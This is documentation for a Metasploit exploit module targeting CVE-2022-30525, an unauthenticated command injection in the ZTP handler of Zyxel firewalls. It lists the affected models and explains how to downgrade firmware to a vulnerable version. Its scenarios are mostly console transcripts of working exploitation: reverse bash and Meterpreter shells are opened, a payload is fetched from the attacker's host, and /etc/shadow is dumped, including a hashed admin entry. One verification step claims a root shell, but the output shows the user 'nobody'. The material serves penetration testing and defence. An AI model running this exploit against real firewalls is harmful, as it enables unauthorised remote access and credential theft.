## Vulnerable Application

### Description

This module exploits CVE-2022-30525, an unauthenticated remote
command injection vulnerability affecting Zyxel firewalls with zero
touch provisioning (ZTP) support. By sending a malicious `setWanPortSt`
command containing an `mtu` field with a crafted OS command to the
`/ztp/cgi-bin/handler` page, an attacker can gain remote command execution
as the `nobody` user.

Affected Zyxel models are:

* USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below
* USG20-VPN and USG20W-VPN using firmware 5.21 and below
* ATP 100, 200, 500, 700, 800 using firmware 5.21 and below

### Setup

The vulnerable system is a hardware firewall/vpn that, to our knowledge,
cannot be emulated. As such, testing requires a physical device. Once the
device has been acquired, you'll need to accomplish the following:

* Once powered on, register the device with Zyxel. You cannot do anything
with the device until this is accomplished. Fortunately, the web interface
will force you to complete this process. You'll need to create an account at
https://portal.myzyxel.com and the firewall will need internet connectivity
to complete the process.

* Once the device is up to date, you'll need to downgrade the firmware. From
portal.myzyxel.com you can download old firmware from:

Devices Management -> Firmware Download

From there you can select model and version to download. The last vulnerable
version from the affected systems is 5.21 Patch 1.

* Once you are using the vulnerable version, there is no special configuration
you need to exploit from the LAN. If you want to exploit from the WAN, you'll
need to enable "HTTP" and/or "HTTPS" through the firewall. From the web interface
do:

Configuration -> Objects -> Service -> Service Group -> Default_Allow_WAN_To_ZyWALL

And move "HTTP" and/or "HTTPS" from the left column to the right. After applying
the firewall should pass HTTP/HTTPS through the firewall to the web interface.

* That's it. You are good to go.

## Verification Steps

* Follow setup steps above.
* Do: `use exploit/linux/http/zyxel_ztp_rce`
* Do: `set RHOST <ip>`
* Do: `set LHOST <ip>`
* Do: `check`
* Verify the remote host is vulnerable.
* Do: `run`
* Verify the module acquires a root shell

## Options

## Scenarios

### Successful exploitation of USG Flex 100 using firmware 5.21 for a reverse sh shell as nobody

```
msf > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf exploit(linux/http/zyxel_ztp_rce) > run

[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Sending exploit to /ztp/cgi-bin/handler
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:48153 ) at 2022-05-09 14:06:47 -0700
[+] Exploit successfully executed.

id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
cat /etc/shadow
root:***:12396:0:99999:7:::
bin:***:12396:0:99999:7:::
daemon:***:12396:0:99999:7:::
adm:***:12396:0:99999:7:::
lp:***:12396:0:99999:7:::
sync:***:12396:0:99999:7:::
shutdown:***:12396:0:99999:7:::
halt:***:12396:0:99999:7:::
mail:***:12396:0:99999:7:::
news:***:12396:0:99999:7:::
uucp:***:12396:0:99999:7:::
operator:***:12396:0:99999:7:::
games:***:12396:0:99999:7:::
ftp:***:12396:0:99999:7:::
sshd:***:12396:0:99999:7:::
nobody:***:12396:0:99999:7:::
debug:***:12396:0:99999:7:::
#deadbeaf  Don't remove this line
admin:$5$52TVVua8$64kGlcP7$tNKPUArLMHZtmYy84GwUviNYNwBmDkLQ+cKkP9ToPRZqbAA3tgyfRd58rutqhxl36xVWYYRs5GhzX9Hd3ID9PvH5/F7RH0jPRLlug3+TecNkofrbDf3XOan3L8ZeChhzudZgUkP9A4sXfm6dEXguZ2+nLj98gyh7W8dl2/g+h3giNWW9Qsp1JdvaC3wIV53nlZ4p8JEPbswfsJ+KNEsb8AHajPfE+MVT4iTT9OhxPQnwMYaVhyRfauJeUrLtDHDzZq+bvHfmTp4NxUWOjwbXlBa7D6dRD21U3KW9btQM3SMDMSiwZGX1bo5Bu09lWiyzEPPIsy3n7Jsw+W818cZQm7I4b/BMn5tmdkafJz3uCw4$:19121:0:99999::::
ldap-users:***:19121:0:99999::::
radius-users:***:19121:0:99999::::
ad-users:***:19121:0:99999::::
ua-users:***:19121:0:99999::::
cloud-users:***:19121:0:99999::::
```

### Successful exploitation of USG Flex 100 using firmware 5.21 for a reverse Meterpreter shell as nobody

```
msf > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf exploit(linux/http/zyxel_ztp_rce) > set target 1
target => 1
msf exploit(linux/http/zyxel_ztp_rce) > run

[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Linux Dropper for linux/mips64/meterpreter_reverse_tcp
[*] Using URL: http://10.0.0.28:8080/vFiLDBVYvqzd
[*] Sending exploit to /ztp/cgi-bin/handler
[*] Client 10.0.0.14 (curl/7.70.0) requested /vFiLDBVYvqzd
[*] Sending payload to 10.0.0.14 (curl/7.70.0)
[*] Meterpreter session 1 opened (10.0.0.28:4444 -> 10.0.0.14:48159 ) at 2022-05-09 14:11:29 -0700
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.

meterpreter > shell
Process 25619 created.
Channel 1 created.
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
cat /proc/cpuinfo
system type		: ROUTER7000_REF (CN7020p1.2-1200-AAP)
machine			: Unknown
processor		: 0
cpu model		: Cavium Octeon III V0.2  FPU V0.0
BogoMIPS		: 2400.00
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 256
extra interrupt vector	: yes
hardware watchpoint	: yes, count: 2, address/irw mask: [0x0ffc, 0x0ffb]
isa			: mips1 mips2 mips3 mips4 mips5 mips64r2
ASEs implemented	: vz
shadow register sets	: 1
kscratch registers	: 4
core			: 0
VCED exceptions		: not available
VCEI exceptions		: not available

processor		: 1
cpu model		: Cavium Octeon III V0.2  FPU V0.0
BogoMIPS		: 2400.00
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 256
extra interrupt vector	: yes
hardware watchpoint	: yes, count: 2, address/irw mask: [0x0ffc, 0x0ffb]
isa			: mips1 mips2 mips3 mips4 mips5 mips64r2
ASEs implemented	: vz
shadow register sets	: 1
kscratch registers	: 4
core			: 1
VCED exceptions		: not available
VCEI exceptions		: not available
```
